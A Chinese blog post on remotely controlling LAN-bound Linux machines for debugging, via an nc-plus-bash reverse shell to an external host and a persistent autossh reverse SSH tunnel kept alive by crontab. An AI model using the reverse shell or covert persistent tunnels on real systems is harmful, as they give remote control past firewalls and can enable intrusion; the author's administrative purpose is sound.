反向shell与反向ssh隧道,远程控制内网机器

反向shell ssh隧道,打通局域网机器与外网的墙壁


最新了解到的,方法二的进阶,更方便:

首先需要在公网IP的这台机器上配置ssh服务, 使能其端口转发:

sudo vi /etc/ssh/sshd_config

添加如下行:

GatewayPorts yes

重启sshd生效:

sudo service ssh restart


ssh-copy-id serveruser@serverIp

建立自动重连的ssh反向隧道

autossh -M 6334 -fNR 6333:localhost:22 ServerUser@Server

任意主机

ssh clientuser@serverIp -p 6333


最近工作需求要在办公室能够控制远程客户端部署的linux机器,实现远程debug,但是客户端机器深处内部局域网,没有对外IP也没法端口映射,于是想到了反向隧道,总结一下方法,主要有以下两种:


1、反向shell简单方便,但是连上客户端后操作不如ssh方便;

2、反向ssh隧道,部署稍微麻烦,但是连上后操作如同本地命令行,爽!


**reverse shell**

第一步,服务器端先监听本地端口

   

 nc -n -vv -l -p 25566

第二步,本地电脑端将bash通过tcp流的方式发送到远程服务端

/bin/bash -i > /dev/tcp/dev.ray.com/25566 0<&1 2>&1

**reverse ssh**

b机器

>先创建ssh密钥:

  cd ~/.ssh

>执行下面命令,出现选择保存文件可密码提示的时候,一路回车即可

  ssh-keygen -t rsa

 ----->Choose no passphrase when asked and accept the default filename is OK

>密钥创建成功后,上传公钥到办公室服务器上面: 

ssh-copy-id [email protected]

>然后就可以免密ssh连上办公室服务器了,这个最好是在办公室创建一个权限低的用户,专门用来做反向ssh,安全!!!!
    运行下面的命令,将本地bash推送到办公室服务器端的unusedPort,端口号指定一个没用的就好

    ssh -N -R <unusedPort>:localhost:22 serverUser@serverIP Or serverUrl

办公室服务端机器:
>运行下面的命令,连接本地的上面指定的unusedPort,就转发到客户端的bash了,任性debug吧!:

     ssh -l <clientHost UserName> -p <sameUnusedPort> localhost



**note**
> 将上面的命令组织后,写成脚本,并将脚本加入crontab 中定时循环运行,即可随时随地,远程debug客户端啦~~~~
> crontab -e ,定时任务添加一下~~~~~  




**reference**

https://www.tunnelsup.com/raspberry-pi-phoning-home-using-a-reverse-remote-ssh-tunnel/
https://www.tunnelsup.com/ssh-without-password/
https://null-byte.wonderhowto.com/how-to/create-reverse-shell-remotely-execute-root-commands-over-any-open-port-using-netcat-bash-0132658/



猜你喜欢

转载自blog.csdn.net/zeli1511/article/details/70885506